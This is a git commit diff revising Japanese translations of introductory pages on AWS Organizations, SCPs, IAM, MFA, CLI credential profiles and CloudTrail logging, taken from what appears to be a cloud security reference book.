Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:52:49 +00:00
parent 6ff84dfb75
commit 73457d86c2
33 changed files with 662 additions and 955 deletions

View File

@@ -10,7 +10,7 @@
AWSには**ルートアカウント**があり、これは**組織内のすべてのアカウントの親コンテナ**です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なるAWS**インフラストラクチャを分離するために**他のアカウントを作成することができます**。
これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されない限り)。このようにして、デプロイメント間に境界を作成できます。
これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されていない限り)。このようにして、デプロイメント間に境界を作成できます。
したがって、**組織内には2種類のアカウントがあります**AWSアカウントについて話しており、ユーザーアカウントではありません管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。
@@ -21,57 +21,57 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ
- 組織からアカウントを削除する
- 招待を管理する
- 組織内のエンティティルート、OU、またはアカウントにポリシーを適用する
- 組織内のすべてのアカウントにわたってサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
- このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。
管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。
- **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。
- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできませんがアクセスが与えられる場合があります
- メンバーアカウントは**有効なメールアドレスを使用する必要があり**、**名前**を持つことができます。一般的に、請求を管理することはできませんがアクセスが与えられることがあります。
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **組織単位**
アカウントは**組織単位 (OU)**にグループ化できます。この方法で、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。
アカウントは**組織単位 (OU)**にグループ化できます。このようにして、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### サービスコントロールポリシー (SCP)
**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーやロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーやロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに**似ていますが、権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザー止めるために使用できます。\
これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーから止めるために使用できます。\
これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです(マスターアカウントはブロックできません)。
> [!WARNING]
> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
SCPの例
SCPの例:
- ルートアカウントを完全に拒否
- 特定のリージョンのみを許可
- ホワイトリストに登録されたサービスのみを許可
- GuardDuty、CloudTrail、およびS3パブリックブロックアクセス無効を拒否
- GuardDuty、CloudTrail、およびS3パブリックブロックアクセス無効にすることを拒否
- セキュリティ/インシデントレスポンスロールの削除または
変更を拒否。
- バックアップの削除を拒否。
- IAMユーザーとアクセスキーの作成を拒否
- IAMユーザーとアクセスキーの作成を拒否
**JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。
### ARN
**Amazonリソース名**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています
**Amazon Resource Name**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです
注意:AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -80,10 +80,10 @@ AWSには4つのパーティションがありますが、それを呼び出す
## IAM - アイデンティティとアクセス管理
IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。
IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理するためのサービスです。
- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。
- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。これは認証された後のことです。
- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。
- **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス
IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
@@ -106,37 +106,35 @@ IAMユーザーを作成すると、適切な権限ポリシーが添付され
#### CLI
- **アクセスキーID**: 20のランダムな大文字の英数字の文字列: AKHDNAPO86BSHKDIRYT
- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU失われたシークレットアクセスキーIDを取得することはできません
- **アクセスキーID**: 20のランダムな大文字の英数字の文字列AKHDNAPO86BSHKDIRYT
- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU失われたシークレットアクセスキーIDを取得することはできません
**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります:\
&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
_新しいアクセスキーを作成 -> 新しいキーをシステム/アプリケーションに適用 -> 元のキーを非アクティブとしてマーク -> 新しいアクセスキーが機能しているかテストして確認 -> 古いアクセスキーを削除_
### MFA - 多要素認証
これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、したがって多要素の認証レベルを作成します。\
**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。
**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを使用してAWSでMFAを無料で有効にできます。
MFA条件を持つポリシーは、以下に添付できます:
MFA条件を持つポリシーは、次のものに添付できます:
- IAMユーザーまたはグループ
- Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース
- ユーザーによって引き受けられるIAMロールの信頼ポリシー
**CLIを介して**MFAを**チェックする**リソースにアクセスしたい場合は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
**`AssumeRole`の資格情報にはこの情報含まれていない**ことに注意してください。
**MFAをチェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
**`AssumeRole`の資格情報にはこの情報含まれていない**ことに注意してください。
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
以下の内容は、AWSにおけるMFAの使用に関する情報です。
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。
以下の内容は、AWSにおけるMFAの使用ができないさまざまなケースについて説明しています。
### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度にアタッチする**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
**ユーザーグループにアイデンティティベースのポリシーをアタッチ**することで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
**ユーザーグループにアイデンティティベースのポリシーをアタッチする**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
ユーザーグループの重要な特徴は以下の通りです:
@@ -147,7 +145,7 @@ IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/
### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM **ロール**は**ユーザー**に非常に**似ています**。それはAWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
IAM **ロール**は**ユーザー**に非常に**似ています**。それは**AWSで何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限を持っている場合)**。IAMユーザーは特定のタスクのために一時的に異なる権限を引き受けるためにロールを**引き受けることができます**。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
IAMロールは、**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。
@@ -166,10 +164,10 @@ AWSセキュリティトークンサービスSTSは、**一時的で制限
権限を割り当てるために使用されます。2種類あります
- AWS管理ポリシーAWSによって事前設定されたもの
- カスタマー管理ポリシーあなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できますそのうちの1つを修正して自のものを作成する、ポリシージェネレーターを使用する権限を付与および拒否するのを助けるGUIビューまたは自分で書くことができます。
- カスタマー管理ポリシーあなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できますそのうちの1つを修正して自のものを作成する、ポリシージェネレーターを使用する権限を付与および拒否するのを助けるGUIビューまたは独自に作成することができます。
**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\
**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエストデフォルトで許可されている)は除きます。
**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されます
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -192,31 +190,31 @@ AWSセキュリティトークンサービスSTSは、**一時的で制限
]
}
```
[グローバルフィールドは、任意のサービス条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
[サービスごとに条件に使用できる特定のフィールドはここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
[グローバルフィールドは、任意のサービス条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
#### インラインポリシー
この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合に便利です**。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
#### リソースバケットポリシー
これらは**リソース定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
これらは**リソース内で定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
もしがそれに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
もしプリンシパルがそれに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、アクセスが許可されます。
### IAMバウンダリー
IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。
IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、使用しようとすると操作は**失敗**します。
バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要以上の権限を持たないように制御する方法です。
### セッションポリシー
セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**です:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大権限はロールが持つものです)。
セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションのための**IAMバウンダリーのようなものです**:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大権限はロールが持つものです)。
これは**セキュリティ対策**に役立ちます:管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
```bash
@@ -226,18 +224,18 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
注意してデフォルトでは**AWSはセッションセッションポリシーを追加する可能性があります**。これは、他の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで強化された認証を使用して、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
注意してください。デフォルトでは**AWSはセッションの生成に対してセッションポリシーを追加する可能性があります**。例えば、[認証されていないCognitoの仮定ロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで強化された認証を使用して、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです
したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在するためです**
### アイデンティティフェデレーション
アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにします。これにより、正当なIAMユーザーアカウントからAWSユーザー資格情報を提供する必要がなくなります。\
アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**、有効なIAMユーザーアカウントAWSユーザー資格情報を提供することなく、AWSリソースに安全にアクセスできるようにします。\
アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory****SAML**経由)や**OpenID**サービス(**Google**などがあります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
この信頼を構成するために、**IAMアイデンティティプロバイダーSAMLまたはOAuthが生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに信頼される割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
この信頼を構成するために、**他のプラットフォームを信頼するIAMアイデンティティプロバイダーSAMLまたはOAuthが生成されます**。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに信頼される割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し、サードパーティプラットフォームがユーザーにどちらのロールを引き受けるかを許可します**
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
@@ -255,24 +253,24 @@ AWS IAMアイデンティティセンターAWSシングルサインオンの
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ**組織の任意のアカウント**に対して行います
アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てることができます**。**組織の任意のアカウント**に対して。
アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。
#### AwsSSOInlinePolicy
**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウント作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターで**インラインポリシーを持つアカウント作成されたロール**は、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
### クロスアカウントの信頼とロール
**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可することができますが、**新しいロールポリシーで示されたアクセスのみを持つことができます**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーなどの他の認証されたユーザーもこの信頼を悪用できる可能性があります。
### AWS Simple AD
サポートされていないもの
サポートされていない:
- 信頼関係
- AD管理センター
@@ -288,17 +286,19 @@ AWS IAMアイデンティティセンターAWSシングルサインオンの
### その他のIAMオプション
- **パスワードポリシー設定**を設定することができます。最小長やパスワード要件などのオプションがあります。
- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
- **パスワードポリシー設定**を設定することができ最小長やパスワード要件などのオプションがあります。
- **"Credential Report"をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごとに生成**できます。
AWSアイデンティティおよびアクセス管理IAMは、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか**、およびどの条件下でアクセスできるかを指定できます。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。
AWSアイデンティティおよびアクセス管理IAMは、AWS全体で**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるかどの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**
### IAM IDプレフィックス
[**このページ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)では、キーの性質に応じた**IAM IDプレフィックス**を見つけることができます:
| ABIA | [AWS STSサービスベアラートークン](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| Identifier Code | Description |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STSサービスベアラートークン](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | コンテキスト固有の資格情報 |
| AGPA | ユーザーグループ |
| AIDA | IAMユーザー |
@@ -329,7 +329,7 @@ AWSアイデンティティおよびアクセス管理IAMは、AWS全体
### CLI認証
通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\
そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**`[default]`**と呼ばれるものがそのファイルで使用されます。\
そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\
複数のプロファイルを持つ資格情報ファイルの例:
```
[default]
@@ -343,7 +343,7 @@ region = eu-west-2
```
異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) と資格情報を設定する必要はありません。
`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り `--profile` パラメータを使用できます(`assume-role` はユーザーにとって透過的に実行されます)。\
`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)、その後は通常通り `--profile` パラメータを使用できます(`assume-role` はユーザーにとって透過的に実行されます)。\
設定ファイルの例:
```
[profile acc2]
@@ -353,11 +353,11 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
この設定ファイルを使用すると、次のようにaws cliを使用できます:
この設定ファイルを使用すると、aws cliを次のように使用できます:
```
aws --profile acc2 ...
```
ブラウザ用のこれに**似た**ものを探している場合は、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) をチェックしてください。
もしこれに**似た**ものを**ブラウザ**用に探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックしてください。
## 参考文献

View File

@@ -4,62 +4,62 @@
## **CloudTrail**
AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーリソースの動を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。
AWS CloudTrail **は、AWS 環境内のアクティビティを記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な **イベントログ** をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrail は、ユーザーおよびリソースの動を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。
各ログされたイベントには以下が含まれます:
- 呼び出されたAPIの名前: `eventName`
- 呼び出された API の名前: `eventName`
- 呼び出されたサービス: `eventSource`
- 時間: `eventTime`
- IPアドレス: `SourceIPAddress`
- IP アドレス: `SourceIPAddress`
- エージェントメソッド: `userAgent`。例:
- Signing.amazonaws.com - AWS Management Consoleから
- Signing.amazonaws.com - AWS Management Console から
- console.amazonaws.com - アカウントのルートユーザー
- lambda.amazonaws.com - AWS Lambda
- リクエストパラメータ: `requestParameters`
- レスポンス要素: `responseElements`
イベントは**約5分ごとにJSONファイルに新しいログファイルとして書き込まれ**、CloudTrailによって保持され、最終的にログファイルは**約15分後にS3に配信されます**。\
CloudTrailのログは**アカウント間およびリージョン間で集約できます**\
CloudTrailは、**ログファイルの整合性を使用して、CloudTrailが提供した後にログファイルが変更されていないことを確認できるようにします**。これは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\
トレイルを作成する際、イベントセレクタを使用してログするトレイルを示すことができます:管理、データ、またはインサイトイベント。
イベントは **約 5 分ごとに JSON ファイルに新しいログファイルとして書き込まれ**、CloudTrail に保持され、最終的にログファイルは **約 15 分後に S3 に配信されます**。\
CloudTrail のログは **アカウント間およびリージョン間で集約できます**\
CloudTrail**ログファイルの整合性を使用して、ログファイルが CloudTrail によって配信されて以来変更されていないことを確認できるようにします**。これは、ダイジェストファイル内のログの SHA-256 ハッシュを作成します。新しいログの SHA-256 ハッシュは毎時作成されます。\
トレイルを作成する際、イベントセレクタを使用してログするトレイルを示すことができます:管理、データ、またはインサイトイベント。
ログはS3バケットに保存されます。デフォルトではサーバーサイド暗号化SSE-S3が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのためにSSEをKMSおよび独自のキーと共に使用することできます。
ログは S3 バケットに保存されます。デフォルトではサーバーサイド暗号化 (SSE-S3) が使用されるため、AWS はアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのために SSE を KMS と独自のキー使用することできます。
ログは**この名前形式のS3バケットに保存されます**
ログは **この名前形式の S3 バケットに保存されます**
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- バケット名は**`aws-cloudtrail-logs-<accountid>-<random>`**
-**`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
- バケット名は: **`aws-cloudtrail-logs-<accountid>-<random>`**
-: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
各フォルダ内の各ログは**この形式に従った名前を持ちます****`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
